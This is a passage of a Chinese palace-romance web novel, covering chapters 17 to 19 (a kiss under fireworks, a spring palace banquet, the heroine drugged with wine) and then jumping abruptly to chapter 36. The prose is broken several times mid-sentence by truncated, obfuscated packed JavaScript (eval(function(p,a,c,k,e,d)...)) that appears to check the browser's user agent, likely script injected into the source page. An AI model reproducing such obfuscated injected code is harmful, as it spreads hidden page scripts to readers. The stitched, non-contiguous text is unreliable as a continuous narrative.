这般热闹景象,让聂相宜忍不住自言自语地嘟哝,“这回我可不买什么玛瑙杯了。” 王贺璋只笑,“你即使想买,在这儿也是买不着的!” 庙会之上人多手杂,谢知带着神策卫驻守城墙之上,以免有所异动。 他的脚步忽地驻足,目光就这样落在廊桥之上。 即使人头攒动,他依旧一眼便看到了聂相宜的身影。 少女妆容精致,衣裙明艳而漂亮,在人群中欢快地穿梭。如一尾红鱼,又不时在各个摊位面前好奇驻足。 只是她身旁跟着的少年,看起来十分碍眼。 又是王五郎。 “我在城东的观月楼等殿下!”少女轻快的声音仿佛仍在耳边。 只是她等的远不止他一人而已。 朝三暮五。 谢知在城墙上冷眼看着,那王五郎甚至还殷勤地帮她拿着在摊位上买来的各种小玩意,他冷声嗤笑。 他冷眼看着二人从日暮西沉逛到夜月升起,从廊桥一头逛到另一头。 少女总如一只精力充沛的小猫,总是能被各种新鲜玩意吸引去目光。 王五郎也是她的新鲜玩意么? 谢知的目光如冷白的月光般沉寂,灯火煌煌之下,看着廊桥之上的二人宛如一对璧人。 “烟火快要开始了!”王贺璋看着兴致勃勃的聂相宜,见缝插针地问道,“反正三殿下没来,不如你我共赏烟花罢了。如此盛景,总得有人同赏才是!” 不想聂相宜依旧只是倔强地摇摇头,“多谢你的好意。但我要等殿下。” 被拒绝的王贺璋神情略显失意,他勉强扬起一丝笑容来,“也罢。” 观月楼是京中第一八角高楼,楼中大多为宴饮享乐之处,只有楼中最顶一层,是为文人雅客观星望月之地。 各处达官贵人早早便在观月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而聂相宜闻言却狡黠地眨眼,探身靠近他,学着他当日的语气,一字一顿地说道:“撒、谎。” 这里离二人宅邸并不顺路! 谢知看着她的眼睛,灵动得像一只坏事得逞的猫。 他突然轻笑了一瞬。比烟花还短暂的瞬间,却如冰雪消融,波色乍明。 聂相宜跟着笑起来,眉眼弯弯,“总算不曾辜负,这样漂亮的烟花!” 谢知漆黑的眸中倒映出这场烟花最后的盛放。 火树银花,千光耀空,忽明忽暗的光影勾勒出谢知如玉清冷的侧脸。一如当年一眼万年的心动。 这样的氛围实在太过美好,无端催生出许多不合时宜的念头。 “殿下。”她轻声唤道。 谢知回眸看她,少女的脸颊染着薄醉般的绯红,被烟花映照得熠熠生辉,好似浑身都笼罩着一层明快的光晕。 烟花盛放之下,他的唇边骤然传来微凉而柔软的触感。 她明艳动人的脸放大在自己眼前,浓郁的栀子清香几乎将他缠绕殆尽。 一个转瞬即逝的轻吻,如同炸开的烟花。 17. 第 17 章 软唇相触的瞬间,聂相宜自己也怔住了。 这样绚烂的时刻,仿佛那一个轻吻只是一种本能。 她只觉自己停止了思考,脑袋里咕嘟咕嘟地冒着泡,脸颊烫得几乎要烧着,连手脚都不知何处安放。 谢知紧紧皱着眉头。 他看着聂相宜瞪大的双眼,像是不敢置信自己做了这般僭越之事。 她仍保持着踮脚的姿态,脸颊染着晚霞般的大片绯红,眼中半是愕然半是羞涩。 唇边仿佛依旧残留着那般柔软的触感,胸腔不受控制地剧烈跳动起来。 从未有过的感觉陌生而失控,让他下意识觉得不悦。 “你僭越了。”他的神色算不得太好,板着脸斥责她,“没人教过你礼教防嫌吗?” 纵情任性。恣意妄为。 她对谁都这样吗? 还是说,这般出格轻浮的举动,仅仅只因受人指使? 谢知更觉恼人的烦乱。他下意识抿唇,却再次闻到那栀子清香,从唇上若有若无地传来。 “不知羞耻。成何体统。”他冷冷地吐出几个字来。 聂相宜霎时便愣住了。 她咕嘟咕嘟沸腾的脑袋因这几个字,好似被泼下一盆冷水,瞬间清明不少。 只见她像是顺便反应过来,不由慌张退后几步,“殿……殿下……” 她垂着头不敢看谢知,脸颊仍热烫得厉害,不知是因为害羞还是窘迫。 “是我不好……僭越了殿下……” 她不该脑袋一热,就亲上去的。 只是方才那样的氛围太过美好,谢知的侧脸太过漂亮,她看着那如软玉般的唇,鬼使神差就踮起了脚。 殿下这回应该更嫌着她了…… 她的手不断揉搓着衣角,眉眼耷拉着,声音又细又软,仿佛下一秒便能哭出来般,与方才那个眸色熠熠的少女仿佛截然不同。 谢知语气一凝,生平第一次觉得自己的话说得重了些。 她自幼丧母,也许只是不受规训不懂礼教罢了。 他张了张嘴,又抿住唇,良久之后才说道:“罢了。” 烟花散去,谢知在夜色中离开的背影如同一滴浓墨。 而聂相宜回府时,脑中仍像是被烟花炸过般七零八落。 “你说我怎么就莫名其妙亲上去了呢!”她有些懊恼,将自己闷在被子里自言自语,“殿下一定觉得我轻浮又放纵了。” 谢知板着脸冷冰冰训斥她的话仍在耳边回响。 让人觉得局促又难堪。 她的确不如那些世家贵女,循规蹈矩,稳重自持。 可即使被那般训斥,她仍旧忘不了那一幕。仿佛只要一闭上眼,便会无法控制地想起那个烟花盛开下的轻吻。 她便是被这般瞬间的心动迷了眼。 锦被中的空气稀薄而热烫,让她脸颊的红霞久久不曾褪去。 她觉得自己此刻矛盾得要命。 一边后悔自己不该如此唐突僭越,一边又偷偷怀念着那个主动的吻。 谢知的唇带着冰凉的纹路,一如他冷冽的性格。可是又那般柔软,如同一块上好的软玉。 他仿佛身上沾染着清冽的竹香,只要一靠近,便会不自觉地被吸引。 这不能怪她的,她想。 心脏跳动的频率始终不曾慢下,聂相宜一会欣喜,一会懊恼,就连自己什么时候睡着的也不知道。 锦被盖住她的美梦,绚烂的烟花仍在梦中咻咻地绽放,谢知的脸被梦中的光斑耀得模糊。他一会俯身温柔地亲吻自己,一会又板着脸用“不知羞耻”的话训斥自己。 乱糟糟的一片。 至此,聂相宜仿佛陷入了某种微妙的局促之中。她好像……不知该怎样面对谢知了。 那夜的冲动鲁莽之举,在日复一日的回忆中变得愈发清晰,滋生出后知后觉的羞赧与窘迫。 而对面宅邸的谢知依旧早出晚归,公务繁忙。 自那晚之后,二人竟再未曾见过面。 就连凌竹也心下纳罕,“近日里倒不见聂姑娘。” “她应该不会再来了。”谢知声音平淡,却似有几不可察的皱眉。 没有一个世家女子,会受得了那般不留情面的斥责。 她未曾哭出来,已算是倔强要强了。 也好,谢知想,断了她的念想也好,否则她总是痴缠不休,连人也认错。 只是少女那张局促窘迫、将哭未哭的脸总是在他脑中挥之不去,与烟花下雀跃欢欣的神情交织缠绕,无端让人觉得烦闷。 他或许的确将话说得重了些。 凌竹却不知他为何出此之语,只说道:“许是正忙于为春花宫宴准备的缘故。” “春花宫宴?”谢知目光忽地一凝。 “同往年一样,贵妃娘娘给诸家贵女都下了请帖。想来聂家姑娘也在其中。” 凌竹语气微微一顿,“前几日宫里也来人请了殿下,殿下可还是照旧推辞?” 春花宫宴,是宫中每年都会举办的赏花之宴,通常在春日最盛的时节。 每年这个时候,母妃便会遍邀世家贵女,同赏上林苑争奇斗艳之景,以示天家恩德。 只是虽名为宫宴,却也不过是因为太子与他都到了年岁,母妃有意相看罢了。 谢知不由皱了皱眉,“照旧。” 这厢,聂相宜此时一无所知,正呆在府中无所事事。 突然门房通传,有聂府下人前来求见。 “无事不登三宝殿,必定是江氏又想作妖了。”聂相宜哼了一声,只叫人进来。 果然,来的不是别人,竟是江云娥身边的老嬷嬷芳瑞。 聂相宜看见她便觉厌恶。为虎作伥,当日雪墨的死也少不了她的手笔。 她旋即冷哼一声,居高临下地看着她,“嬷嬷今日又替江氏来寻什么晦气?看来是上次挨的巴掌不够疼。” 芳瑞皮笑肉不笑地躬着身子,倒是做足了谦卑姿态,“姑娘哪里的话,奴婢不过是个传话的。” 说着她从手中取出一张请帖,“几日后的春花宫宴,贵妃给聂府也下了帖子。虽说姑娘如今别居,总也是我们聂府的小姐,哪有不去的道理。” 聂相宜睨了一眼那烫金红帖,“宫宴?” 她们怎么会如此好心?特意为她送请帖来? “是。”芳瑞垂首答道,“诸位世家贵女都会前去。” “知道了。”聂相宜懒洋洋地挑了挑眉,示意含絮收下那请帖,“你可以回去了。” “夫人还有话,要我嘱咐姑娘。”芳瑞却不曾离去,抬眸看了一眼聂相宜。 “夫人说,宫中不比其他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她在聂府多年,自江云娥扶正之后,她便助其管理府中大小事宜。就连聂元苇尚且要给她几分薄面,说是半个主子也不为过,何曾受过这般皮肉之苦。 “做奴婢的,挨打不算什么。”她冷笑了一声,“姑娘打得了我,可打得了旁人?” 说着,也不等聂相宜说话,只告辞离去,“奴婢就先告辞了。五日后,卯时三刻,马车在聂府门前等着姑娘。” “等等。”聂相宜却忽地叫住了她。 “你的意思是,入宫当日,要我自己回聂府乘坐马车?” “这是夫人的安排。”芳瑞回答得一板一眼。 “你们打量着我聂相宜是个傻子好糊弄不成?”聂相宜顿时将那请帖扔到一边,冷笑出声。 “向来世家宴请,马车都是至府门接应。怎得偏生我要折中,自己赶回聂府乘车?” 要她自己回了聂府,岂不是显得她上赶着一般? 江云娥还真是无所不用其极,处处都想拿捏了她。 芳瑞只恭顺地笑,面皮被扯得一阵阵火辣的疼,“姑娘毕竟在别院居住,多少有些不方便。” 于是她只扬言道:“马车不来前来相迎,我不去便是!左右外头传得厉害,我已是聂家弃女,不如坐实了的好!” 想由此拿捏了她,门都没有! 18. 第 18 章 入宫那日,聂府的马车终究还是停在了别院的门前。 聂相宜趾高气昂地上了车。 车内,只见聂元苇朝她柔和而顺从地微笑,想来已然等候多时。 她抬着下巴上下打量她两样,冷冷嗤笑一声,“入宫也这般寒酸?你母亲没有另外一对飘花镯子给你吗?” 聂元苇今日着一身羽蓝衣衫,发间佩着一副掐金头面,颇有几分出尘之姿,很是素雅。 反观聂相宜,头上戴着带着聂元苇一直想要的那套红玉头面,又着一身珊瑚色衣裙相配,环佩叮当,极是明艳动人。 “原是我忘了,我走之前已将芙蓉院尽数拆下。怎得?你母亲竟没有体己?用惯了我母亲的东西,她自己倒连一副好头面都拿不出来?” 聂相宜扬着唇看她,歪着头的模样天真单纯,只是颊边的笑容带着挑衅,实是恶劣又张扬。 聂元苇紧了紧手中的绢子,面上却依旧温和置之,“长姐这话对我说说也就罢了。入宫见了贵人,可别在这般口无遮拦了。” 她抿了抿唇,“若是叫旁人听见,又要笑话长姐无礼俗气了。” 聂相宜闻言,修长指尖抚上发间红玉,挑眉看她,神色轻蔑又鄙夷,“你当初哭哭啼啼找我要它的时候,怎得不嫌它俗气?” 聂元苇语气一滞,手中的绢子被她攥得死紧。她想起芳瑞回府时高肿的脸颊,和母亲的嘱咐,终究不急在这一时。 她还是将这口气咽了下去。 马车内一路无言。 等得马车行至宫门前,便见不少世家马车陆续前来。 有宫人前来相迎,自缦回宫墙而过,这才行至上林苑中。 时辰尚早,贵妃并不曾露面,只派了宫仆传话,让诸位世家贵女们先闲逛稍许便是。 聂相宜与诸女并不相熟,加之前次薛府之事,她亦不愿与她们过多来往,便独自往了花圃里逛去。 正是春日负暄之时,上林苑中杂花生树,群莺乱飞,各色名贵花朵正是争奇斗妍之时。蝴蝶流连,叫人目不暇接。 她一人颇觉无聊,便想着寻一寻自家表姐钟灵玉的影子。 按理说这样的宫宴,齐国公府必定是会收到帖子的。 只是聂相宜寻了半晌,还未先找到钟灵玉,反倒是裴琅一行世家女撞上了。 裴琅一见了她,顿时秀眉紧皱,只觉冤家路窄! 上次聂相宜害她落水,因着有三殿下的澄清,让她平白吃了个哑巴亏,委实让人有些气不过。 “这不是聂姑娘么?”她被众人众星捧月般地簇拥着,颊边仍恪守着端方有礼的笑容。 “早遍听说姑娘迁居侯府别院,已成聂家弃女,姑娘怎得还有心情在此闲逛了去?” 聂相宜听得她挑衅之语,正欲还嘴,却听得人群最末端的聂元苇柔柔开口, “裴姑娘误会,坊间传闻,都是讹传呢。长姐不过刚回京城不甚适应,这才迁居别院独居呢。” 有姑娘好奇地问:“如此说来,竟是聂姑娘主动搬出侯府的?” 聂元苇像是好心为聂相宜解围,只轻轻点了点头。 “不对呀!”那姑娘面上忽露疑惑之意,“我前日里才听说,那别院与三殿下在宫外府邸相对而居。莫不是……她以此为由,蓄意接近三殿下?” 此言一出,不亚于一石激起千层浪来。 众人看着聂相宜的脸上顿时有了鄙夷之色。 “怎得这般没脸?一个王五郎还不够她痴缠的?竟还妄想攀附殿下?” “你以为整日里追着三殿下跑,三殿下就会理会于你么?” 只听得裴琅冷哼了一声,“说到底不过是蛮夷之地回来的女子,水性杨花,轻佻放浪。如此不顾脸面,还妄图嫁与三殿下不成?” 她这话实是难听。 众人闻言却是面不改色,仿佛这样难听的词若是配了聂相宜,却也相当。 唯有聂相宜冷了冷脸。 她不愿落了下风,只扬着下巴,拿鼻孔看着裴琅,神情骄傲又坦然。 “是又如何?至少我敢承认了去!你们在此阴阳怪气,焉知不是嫉妒我敢这般?” 她被裴琅的话激起了气性,昂首挺胸的样子像只气势十足的吵架小猫,“今日我便把话放这儿了!我还非就三殿下不嫁了!” 此言一出,满座皆惊。 众人无不瞪大了眼睛,愕然地看着聂相宜的身后。 “三、三殿下!” 直到众人纷纷朝她的身后行礼,聂相宜猛然回过头去,这才与众人同样地瞪大了眼睛。 三殿下竟也来了? 她一看见那张冷清俊秀的面庞,便能瞬间想起那个吻。 她忙跟着行礼,这才后知后觉地羞耻起来,脸颊陡然间便热烫起来。 前日里偷亲他也就罢了,方才自己那一番“豪言壮语”,三殿下听到了多少?还是全都听见了? 他会又如同那日一般斥责自己不知羞耻吗? 聂相宜悄悄掀起眼皮,想要看一眼谢知的表情。 然而谢知依旧只是长身玉立,眉目淡漠,恍若未闻。只与她擦肩而过,漠然离去,半点视线也未曾给她。 她泄气般瘪了瘪嘴,方才真不该由着裴琅她们激得上头。 自己多次冒犯,殿下必定是生气了。 或是与她们一样,觉得自己是轻浮放纵,痴心妄想。 聂相宜的余光只能瞥见他青白衣袖的衣角,转瞬即逝。 “呵!”见谢知走远,裴琅噗嗤笑出声来,“你这般死皮赖脸,也没见三殿下多看你一眼?” 聂相宜有些失落,又有些气馁。谢知的冷漠仿佛是对她冒犯的审判。 心绪陡然有丝丝缕缕的难过缠绕。 聂相宜不肯让人看出,只扬着眉反唇相讥,“那你这般故作矜持,我也没见三殿下瞧你啊。” “你!” “裴姑娘别与她一般见识了。”见裴琅辩不过她,一时气结,便有姑娘上来好言相劝。 “她不过是仰仗着安西大将军的军功罢了。” “世子夫人乃安西大将军嫡亲的孙女,也不见像她这般嚣张跋扈,行事狂悖。”裴琅冷嗤了一声,“区区一个姓聂不姓钟的外孙女,怎敢打着安西大将军的名号?” “裴六姑娘有所不知,我们钟家出身武将,没有那么多亲表的讲究。” 聂相宜正欲再度与她理论,忽地一明快声音乍然响起,好似春风化雨,打破这剑拔弩张的气氛。 她侧身看去,钟灵玉不知何时已站在了她的半步身前,一如小时候那般替她出头。 “说句冒犯的话,若非上头有宗族礼法压着,即使是相宜想改姓钟,也没什么了不得的。” 钟灵玉的笑容爽利,声音如黄鹂般清脆悦耳。即使这话颇有些出格,也让人只觉是轻巧玩笑。 聂相宜有了底气,站在她身后,任由她牵着手,狐假虎威地朝裴琅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这样的好名声,表姐猜不出来是谁传出去的么?” 她与三殿下的来往,除了那日聂元苇偶然能看见之外,还能有谁? “她们是笃定了你嫁不了三殿下,直欲以这件事来抹黑你罢了!”钟灵玉一脸忿忿,“我总要让这起子人知道厉害!” “我真的嫁不了三殿下吗?” 聂相宜歪了歪头,望着钟灵玉的眼眸羞涩却真挚,“可我就喜欢三殿下呀。灵玉表姐,我不可以和殿下议亲么?” 钟灵玉难得地皱起了眉头。 “你可知三殿下是什么人么?” 聂相宜点点头,而后又摇摇头。 “罢了。”钟灵玉似是欲言又止,她只问道,“你这般非三殿下不嫁,你都喜欢他什么?” 聂相宜语气兀的一滞。 她不由得认真想起来。 始于鄯州那张鬼面初见的惊艳,盛于上元节那盏花灯的悸动。 她都喜欢。 她最喜欢他的那双眼睛,鬼面下那双冷静、漂亮的眼睛。 这厢,谢知得了传召入宫,此刻陪着贵妃同行。 他听得贵妃一一关心他平日起居饮食,只是平静答过。 见他神色冷淡,贵妃像是叹了一口气。 “从前宫宴召你,你总是不来。我知你公务繁忙,用心勤勉。可如今你已有十九,也早该提及姻亲之事了。” 贵妃语气微顿,“今日宫宴,世家女子众多,品貌才行皆是出众,若有合你心意的,择做皇子妃或侧妃都可。” 谢知闻言不由皱眉。 还未等他出言拒绝,自不远处的花林中传来熟悉的欢快声音。 “我就是喜欢三殿下冷清持重!如同皎皎明月,不染尘埃!” 19. 第 19 章 日光斑驳,桃花乱落。 聂相宜眸色熠熠,看着钟灵玉的神色笃定又真切。 她的声音不大不小,刚好传入贵妃的耳中。 她看着不远处花瓣纷扬下的聂相宜,好奇问道:“那是哪家的姑娘?倒很是率真可爱呢。如珩,你可认识?” 如珩是谢知的表字。他似乎是不喜欢贵妃这般叫他,不由得皱了皱眉。 他看着落在聂相宜扑蝶狎玩的轻快背影,逐渐隐于纷纷桃花微雨之中。 那珊瑚色的裙角,像极了烟花盛放之下,那张红颜赧色的脸。 谢知眉间微敛,只说道:“不熟。” 贵妃看了他一眼,掩唇笑笑,“那也罢了。眼下我们过去撞上,只怕叫人家害羞了。” 如此闲逛一番,等得夕阳斜照的时分,晚宴便陈设在了上林苑附近九洲池的清宴舫中。 池中浮光跃金,舫中玉盘珍馐,如此美景飨宴,极是雅致盛景。 诸女落座,聂相宜远远便见有人群簇拥着一华贵女子迤逦而来,众人纷纷跪下行礼。 那是聂相宜第一次见到谢知的生母,当今的贵妃娘娘。 故皇后仙逝多年,如今唯有贵妃一人操持宫中事宜。 远远一见,只觉她气度雍容,眉目间瞧不出岁月的痕迹,举手投足间都带着端庄之气。 聂相宜在人群中好奇地打量她,只觉她与谢知并不十分相像。 “春日盛景,姑娘们聚在一起,好似这花团锦簇,倒叫人移不开眼了。” 贵妃笑着与众人寒暄两句,便叫众人入席罢了。 她右侧下首坐着的位置空着,只左侧坐着如松竹冷清挺拔的谢知。 只见贵妃的目光却始终落在那空置的位置上,眉目间露出浅淡的担忧。 “太子身体向来不佳,春日里更是易诱发咳疾,怕是不能赴宴了。” 说着她指着桌上的碗盏,吩咐身旁的嬷嬷,“将这盏雪梨杏仁酪送去东宫。玉汝最爱吃这个,对他咳嗽也好。” 很是关切的模样。 一旁的谢知一言不发,只是微抿着唇角。 聂相宜见状,不由得压低了声音,掩着唇悄声问道:“太子殿下身体不好么?” 钟灵玉朝她微点了点头,“太子殿下是故皇后温显皇后所出。听闻太子出生当日,温显皇后难产,累及胎儿,这才致使太子殿下身体一直不好。” 说着,她假意用绢子掩了掩唇,“与太子殿下同日出生的三殿下,身体便要好上许多。” 聂相宜闻言瞪大了眼睛,“这般凑巧?竟是同日出生!” 钟灵玉显然对这个话题有些讳莫如深,说得语焉不详,“宫闱旧事罢了,我还是听婆母阳徽长公主说起,你可千万不要说出去。” 涉及宫闱秘闻,实在容易勾起人的八卦兴趣。聂相宜小鸡啄米般点点头,一脸求知若渴的表情,目不转睛地看着钟灵玉。 “我听说,当年贵妃怀胎不过八月,只因想抢在温显皇后前头生下长子,服用了催产药。这才致使两人生在同一天。” “后来温显皇后故去后,皇上便将太子交由贵妃一同抚养。” “难怪贵妃很是关切太子的模样,原也算作太子养母。”聂相宜漫不经心地点点头,“说起来,我还不曾见过太子殿下呢。” “莫说是你,即便是我,也甚少见到。”钟灵玉悄声向她解释,“像这样的宫宴,很少能看见太子。” 说着她语气便带了些微的疑惑之意,“说来也奇怪,这样的场合,三殿下也是不常来的。不知怎得今日却来了。” 聂相宜的目光跟随她的话落在谢知身上,却不想竟和他的视线撞在了一起。 那双漆黑的眼眸无波无澜,倒似她偷看被抓了个正着,聂相宜脸颊涌上热气,故作镇定地移开视线,只一双眼珠子慌乱地转。 “那可是聂家大姑娘?” 正当聂相宜出神之际,不知为何,贵妃葱白指尖忽地一点,所有人的目光悉数落在她的身上。 不料她会提及自己,聂相宜一怔,只得上前行礼,“臣女聂相宜见过贵妃娘娘。” “当真是个明艳美人呢。”贵妃笑容和善地打量着她,与身旁的嬷嬷似是交换了个眼神,而后掩着绢子轻笑。 “早便听乌姑姑说起过你。今日见你这般知礼,倒是与她话中之人大相径庭。”她笑笑,“看来是乌姑姑有失偏颇了。” 聂相宜不知乌姑姑是她的人,乍听她提起乌姑姑,一时间拿不准她话中何意。 倒是钟灵玉忙笑着帮她打圆场,“娘娘见笑,相宜从小在鄯州长大,对京中礼仪不甚纯熟,是闹了些笑话。” 她命聂相宜免礼回席,像是闲谈家常般,“我听说聂大姑娘此次回京是为议亲,眼下可有定下人家了?” 钟灵玉忙替她回答,“回娘娘,还不曾呢。” “这话由我来问,原是有些唐突的,只因有一桩缘由在里头。”贵妃弯着眼睛笑了笑,眼神略过谢知,又停在聂相宜面上。 “当年聂姑娘的母亲文安夫人,与故皇后曾是旧友。我听皇上说起,二人闺中玩笑,曾有指腹为婚的约定呢。” 聂相宜听得手中的筷子猛地一抖。 谁?和谁指腹为婚?她怎么从未曾听过! 这话吓得她顿时瞪大了眼睛,忙求助般地看向钟灵玉。 不想贵妃突然说起婚嫁之事,钟灵玉也未曾应付过这般场合,只能思索着先开口替她暂且推辞。 “贵妃娘娘抬爱。只是相宜从小骄纵,活泼好动。怕是会扰了天家清听。” “就是要活泼些才好呢。”贵妃的笑容意味深长。 说到这里,她又兀的话锋一转,“我也不过随口一说罢了,聂姑娘可不要放在心上。这样的事,本不该与你们这些小辈来说的。” 她语气微微一顿,“只是聂大姑娘率真可爱,连我也喜欢得紧呢。想来与太子是极相配的。” 虽说只是玩笑,可她话中丝毫不掩想要聂相宜嫁与太子的心思。屋内众人闻言不由得心思各异。 谢知面色冷淡,一言不发,恍若这宴上的热闹都与他无关。只是神色,似乎比平日里更冷了几分。 一旁的钟灵玉微微皱眉,看着聂相宜被吓得目瞪口呆的模样,总是欲言又止。 聂元苇坐在席中无人在意的最末端,听了贵妃这话,不由得捏紧了掌中的酒杯。 若让聂相宜嫁与太子,照她般嚣张跋扈的性子,只怕是要上天。 她眸色微黯了黯,招手吩咐身侧侍女,在她耳边轻声说道:“你去通知乌姑姑罢……” 聂相宜被这突如其来的指腹为婚搞得心不在焉,只看着自己面前的杯盏出神。 她自然不想嫁给她从未见过的太子。 只是皇命不可违,若贵妃真要赐婚,该如何是好啊。 她愁得连面前佳肴也毫无胃口,只一口将杯中酒酿一饮而尽。 宫婢适时为她斟满酒盏。 宫中的蔷薇酿极是好喝,清甜甘美,一闻便是不可多得的珍品。 只是这酒似乎后劲大了些,聂相宜方才几杯下肚,便只觉浑身燥热起来,脸颊绯红一团,如同云霞一般。 “你怎得醉得这般厉害?”钟灵玉被她这幅醉意迷蒙的模样吓了一跳。 贵妃似乎也注意到了这边的动静,不由得笑笑,“聂姑娘不胜酒力呢。” 说着便招来宫婢,“且扶聂姑娘前去休息片刻吧。” 聂相宜起身告退,只觉脚步虚浮,整个人如同踩在云朵上一般,轻飘飘的。浑身却热烫得厉害,连呼吸都快要将自己烧着一般灼热。 聂元苇看着任由宫婢扶着她出了清宴舫,嘴边忽地扬起一丝轻笑。 “聂姑娘,最近的暖阁在月华门附近,奴婢扶您过去。” 聂相宜脑袋昏昏沉沉的,只茫然地点了点头。 起初她还能自己走路,后来不知为何,只觉连腿也软得厉害,只能倚在宫婢身上,借力而行。 “还没到吗?怎得这么远?”她含糊不清地抱怨,声音带着甜软的鼻音。 宫婢只回:“就快过月华门了。” 夜幕沉沉,一清瘦男子自月华门前而过。已是盛春,他却不似旁人一般着轻薄春衫,反倒是穿着稍显沉闷的厚锦。 月光之下,他的皮肤露出一种近乎苍白的透明之色来,连唇上也并无太多血色。如同一只夜行的鬼,脚步都是那般的悄无声息。 他突然驻足,看着月华门前被扶过的珊瑚色身影,“莫九,那是谁?” 身后的内侍猜测道:“回太子殿下,许是谁家的贵女。今日贵妃在宫中举办花宴,诸家贵女都到了。” 谢承忻看着那人影踉踉跄跄的脚步,微眯了眯眼,眸色锐利。 “再往前,便是侍卫的庑房了。”这样的把戏,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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聂相宜紧紧咬着唇,直到唇腔弥漫出一股淡淡血腥之气,疼痛这才带来一丝难得的清明。 她翻身从榻上跌下,踉踉跄跄地往门外走去。 浑身燥热的感觉让她眼中蓄满了泪,半是愤恨半是委屈地忿忿嘟哝着,“等我出去!定要叫你们好看!” 还未等她走到门口,便猛然听到门外传来不徐不疾的脚步。 这必定是下药之人准备的后招! 直等她药性发作,派人前来坏她清白与名声。 那脚步声在聂相宜耳边如同催命符一般,她咬了咬牙,强撑着绵软无力的身子,取下发间一只金镶玉钗,紧紧捏在手中。 殿门忽地推开,她刚举起那支金簪,却脚下一软朝前跌去。 带着清冽香气的怀抱接住了她,与那锦被的气息一模一样。 她抬起迷蒙的双眼,对上他冷静淡漠的深瞳。 在这一刻,他恍若神祗降临。 筵席散去时已是深夜,谢知只照惯例留在宫中的景明殿暂住一晚。 这里是他从前在宫中的旧居,除却日常洒扫的奴仆,鲜有人来。 然而今夜,他方至门前,便听得屋内有窸窸窣窣的动静传来,似有人声。 谢知站定半晌,警觉地推开门。 却被栀子清香的盛放撞了满怀。 少女珊瑚色的衣裙松松散散地敞开,雪白脖颈之上露出鲜红的小衣系带,蜿蜒其下,若隐若现大片豆腐般的细嫩皮肤。 她靠在自己怀中,鬓发微微散乱着,发间的红玉头面如同春日的桃花般,旁逸斜枝。 谢知的目光落在她不正常的潮红面颊之上,那双如小猫一般圆圆的眼睛此刻带着失焦的迷蒙,噙着一汪水润的泪。 外头有羽林军巡逻宫禁的声音踢踏而过。 “吱呀”一声,谢知阖上了门。 那栀子的清香仿佛一张绵密的网,诱人想要深入其中。 谢知皱了皱眉,他伸手,想要将聂相宜柔软的身躯从自己怀中剥离,却被她的柔弱无骨的手臂揽住了脖颈。 灼热的气息不断扑在他的耳边,“殿下……殿下……” 少女焦急又委屈的声音带着浓浓的哭腔,又软又轻。 “谢知……你帮帮我呀……” 35-40 第36章 一夜雨歇。 寒凉的天气让人格外眷恋锦衾的温暖,聂相宜伸了个懒腰,如同贪睡的小猫般不肯起床。 谢知的衣襟总是整理得一丝不苟,连修长脖颈也被遮去大半。 可他越是如此禁欲淡漠的模样,聂相宜就越能想起他夜里欲|色撩人的模样。 这般反差,以至于似乎一看见他,便能轻易让人红了脸。 谢知看着她自被窝中冒出一颗毛茸茸的脑袋,脸颊红扑扑的,睁着一双惺忪的睡眼望他。 “今日草场湿滑,若无事,你呆在营帐便是。”他淡淡嘱咐道,“有事便遣人来找我。” 聂相宜小鸡啄米似的点了点头,十分乖巧的模样,目送着谢知出了营帐。 待得谢知离去,又在榻上滚来滚去,磨蹭稍许,这才唤含絮进来服侍她洗漱起身。 “今日既无事,夫人何不多睡一会。” 聂相宜狡黠地眨了眨眼,“虽说不去狩猎,可还有别的事要做呢。” 说着歪头看向含絮,眼里满是兴奋的光,“叫你找的东西找来了吗?” 含絮点点头,“膳房找不着这玩意。奴婢还是专门让阳秋去远处的集市买的。” 说着便递给聂相宜一个黄纸包来。 聂相宜接过那纸包,嘿嘿坏笑了一声,悄摸出了门,“不许给别人说!听见了吗!” 她蹑手蹑脚地来到了膳房。 半上午的时候,宫人们正忙于准备午膳,聂相宜进了膳房便听得有宫人闲聊。 “贵妃娘娘每次都要 亲手为皇上烹制膳食的,今日怎得没来?” “听说昨日落雨,娘娘偶感风寒,起不来身呢。” “难怪……不过倒也好,今日便不必像往常那般束手束脚了。” 她们话音刚落,便见聂相宜进来了,不由脸色一变,纷纷行礼问安,“见过三皇子妃。” “你们忙去便是,不必管我。”聂相宜笑着摆了摆手,只借口说道,“今日无事,我也只是想为殿下做几道膳食罢了。” 众人便已然明白她的来意。 聂相宜眼珠滴溜一转,“我手艺不佳,昨日见裴姑娘桌上有道点心很是精致,不知是哪位师傅做的,可否教教我?” 管事的厨娘堆着笑回话,“那是为官员供膳的膳房所制的,在隔壁呢。我们这里是专为皇室宗亲供膳的。” 聂相宜了然,“那我去看看便是。” 她捏紧手中的纸包,今日定要好好让裴琅吃点苦头! 裴琅三番五次针对于她,昨日还当着诸官嘲讽于她,她岂能咽得下这口气! 这包巴豆粉,保证拉到她腿软! 脑中一想到裴琅狼狈不堪的模样,聂相宜还未动手,便先噗嗤一声乐了出来。 而后似乎又觉得自己有些失态,假做正色出了门,往隔壁膳房而去。 “不好了!不好了!”还未等她做些什么,便忽而听得外头脚步匆匆而杂乱,“皇上在猎场遇刺!” 突如其来的变故让聂相宜陡然一惊。 一时间顾不上其他,她忙问出门问道:“怎会遇刺?眼下情况如何?三殿下呢!” 